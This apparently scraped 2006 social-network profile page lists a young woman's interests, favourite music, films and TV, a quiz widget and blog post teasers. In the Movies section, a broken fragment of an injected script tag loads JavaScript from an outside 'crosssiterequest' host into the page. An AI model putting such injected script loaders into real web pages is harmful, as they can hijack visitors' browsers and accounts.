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Karissa Explains It All

Sin Dolor No Te Haces Feliz...

About Me

My name is Karissa. Backwards, that's Assirak. Pretty sweet. I'm straightforward, honest, and laid back.

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My Interests

1. Movies 2. Music 3. Matchbooks 4. The New England Patriots 5. FOOSEBALL 6. Bartending 7. Spanish Language 8. Darts 9. Victoria's Secret 10. Politics (I'm a Democrat, not afraid to say so!)

I'd like to meet:

1. Ryan Reynolds, Dominic Purcell, Dane Cook, Gwen Stefani2. People with similar interests...Speaking of interests, I'M NOT INTERESTED IN: a. E-Stalkers b. Your Mom c. Pat Robertson, Ph.Douche Bag

Music:

Music: Due to the remarkably high number of musicians I listen to, this list could get pretty long, but here goes:The Cure, Sevendust, The Clash, Tool, Al Green, Etta James, Tech 9, La Ley, Vedera, Dave Matthews Band, Smashing Pumpkins, Staind, Poe, Maná, Juanes, Fulanito, Daddy Yankee, Fleetwood Mac, Bad Company, Billy Idol, Nazareth, Foo Fighters, The Violent Femmes, Incubus, Sublime, Tupac, SWV, Keane(sp?) West, Green Day, Jason Mraz, Guster, The Refreshments, Mazzy Star, Tonic, The Fugees, The Misfits, The Beatles, Johnny Cash, Danzig, Beastie Boys, Frank Sinatra, Weezer, Cake, Ace of Base, Julianna Hatfield, Depeche Mode, Elevator Division, George Michaels, Stone Temple Pilots, Tori Amos, Oasis, Suzanne Vega, Sneaker Pimps, Fatboy Slim, Akon, Fiona Apple, Bush, 10 Years, Jack Johnson, Alanis Morrissette, The Bloodhound Gang, David Bowie, Alicia Keys, Alien Ant Farm, Apocalyptica, Atmosphere, Bubba Sparxxx, Geggy Tah, The Butthole Surfers, Carly Simon,the sound and the Fury, Ludacris, Craig David, Cold, Four Non-Blondes, Foreigner, Genesis, Gwen Stefani/No Doubt, (hed) PE, Jimi Hendrix, The Killers, KMFDM, Loveage, Prince, NIN, Peter Gabriel, Nelly Furtado, Patsy Cline, Breaking Benjamin, The Offspring, Portishead, Outkast, Richard Cheese, Gypsy Kings, Rolling Stones, Santana, Seether, Panic! at the Disco, Steppenwolf, 311, Blindside, 12 Stones, Steve Miller Band, The Doors, Carl Douglas, Chuck Berry, David Bowie, Eminem, Stroke 9, Soul Coughing, Eric Clapton, System Of A Down, Christina Aguilera, Fountains Of Wayne, Everything, Local H, Guns N' Roses, U.P.O., Missy Elliot, VNV Nation, Joaquin Phoenix, Jay Z, Marilyn Manson, Taproot, Everlast, Sarah McLachlan...And that's just to name a few...

Movies:

Movies: Again, so many to list. But I am hugely fond of Stewie Griffin: The Untold Story, Pulp Fiction, Super Troopers, The Breakfast Club, A Clockwork Orange, Kill Bill 1 and 2, Wedding Crashers, Office Space, Animal House, The Hitchhiker's Guide to the Galaxy, Garden State, Resident Evil, Practical Magic, Spaceballs, The Big Lebowski, The Machinist, Harry Potter 1-4, Fight Club, American Psycho, The Lord Of The Rings Trilogy, Equilibrium, The Money Pit, The Emperor's New Groove, Tommy Boy, Black Sheep, Full Metal Jacket, The Way of the Gun, Finding Nemo, The Nightmare Before Christmas, American History X, Braveheart, The Patriot, 10 Things I Hate About You, Unleashed, Requiem For A Dream, Sin City, Cabin Fever, Memento, Shrek 1 and 2, The 40 Year Old Virgin, Big Fish, The Fifth Element, Bridget Jones' Diary 1 and 2, Napoleon Dynamite... the list goes on forever. Does anyone really read all of this crap? Lol. That IS A Tasty Burger! Girls Only Want Boyfriends Who Have Great Skills!No! I Don't Think You Understand! .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("..1...{}");}..

Television:

Family Guy, CSI: Las Vegas, Sex and the City, Chappelle Show, Dave Attell, Eddie Izzard, Aqua Teen Hunger Force, Penn and Teller's: BULLSHIT, The Daily Show with Jon Stewart, Dane Cook The Colbert Report...

Books:

Books Own Me.

Heroes:



adopt your own virtual pet! And Poon doesn't seem to have much of an appetite, but she loves her toy!

Your Deadly Sins


Lust: 60%
Pride: 60%
Gluttony: 40%
Greed: 40%
Envy: 20%
Sloth: 20%
Wrath: 20%
Chance You'll Go to Hell: 37%
You'll die while in the throws of passion - the best way to go. How Sinful Are You? Play That Funky Music White Boy..

My Blog

A Veces, Apenas No Sé.

Prometo que escribiré pronto. Alguna vez. I will write. I just don't know when. But I assure you that I will have much to say. For now, I am just at a loss of words. ...
Posted by Karissa Explains It All on Sun, 30 Apr 2006 08:50:00 PST

Cuando Lloro En Español

Mentira - La LeyMentira mi vidalo que se da y no se mira.Mentira fundidacon miel que evaporó mi piel.Mentira prohibidadebilidad que me domina.Mentira mi vidano quiero mas mentirte amorsolamente encont...
Posted by Karissa Explains It All on Mon, 19 Dec 2005 01:53:00 PST

My Lance With Khaki Pants

My Lance With Khaki Pants Wednesday, November 16, 2005 Ahh, where do I begin? How does one describe the feeling, the fear, that something should be too good to be true, but in one's heart, one...
Posted by Karissa Explains It All on Wed, 16 Nov 2005 11:53:00 PST

More Than You Wanted To Know

1) What date are you writing this? May 24, 2005. 5:53 p.m. 2) Name: Karissa3) Date of birth: 10.21.85 4) Sex: Girl 5) Height: 56 6) Hair color: Blonde and brown.  7) Eye color: Blue.  8) L...
Posted by Karissa Explains It All on Sat, 05 Nov 2005 10:03:00 PST

Alfredo, Mi Amor Platónico

3:33 a.m.         &n bsp;         &n bsp;         &n bsp;  ...
Posted by Karissa Explains It All on Sat, 05 Nov 2005 09:57:00 PST

A Letter My Mom Wrote

A Letter My Mom Wrote Monday, May 16, 2005 Dear Karissa, There is so much on my heart that I want to tell you, and I don't even know where to begin.  I will start by telling you that "I-L...
Posted by Karissa Explains It All on Sat, 05 Nov 2005 09:56:00 PST

Giving Up

I'm so behind on my bills. I don't think depressed is the word for it. I'm not sad either. But, I'm not happy. I have one of those, "How are you feeling today?"  magnets where you can, using anot...
Posted by Karissa Explains It All on Sat, 05 Nov 2005 10:07:00 PST

A Knee Slapper

A Knee-Slapper Wednesday, May 18, 2005 Love Is Like Peeing Your Pants... Everyone Can See It, But Only You Can Feel Its Warmth...
Posted by Karissa Explains It All on Sat, 05 Nov 2005 10:00:00 PST

Aaron

Aaron Sunday, April 24, 2005 "I can't believe you did this.  I can't believe you broke into someone's house and robbed them!  Who are you?" I looked at him through the television sc...
Posted by Karissa Explains It All on Sat, 05 Nov 2005 09:52:00 PST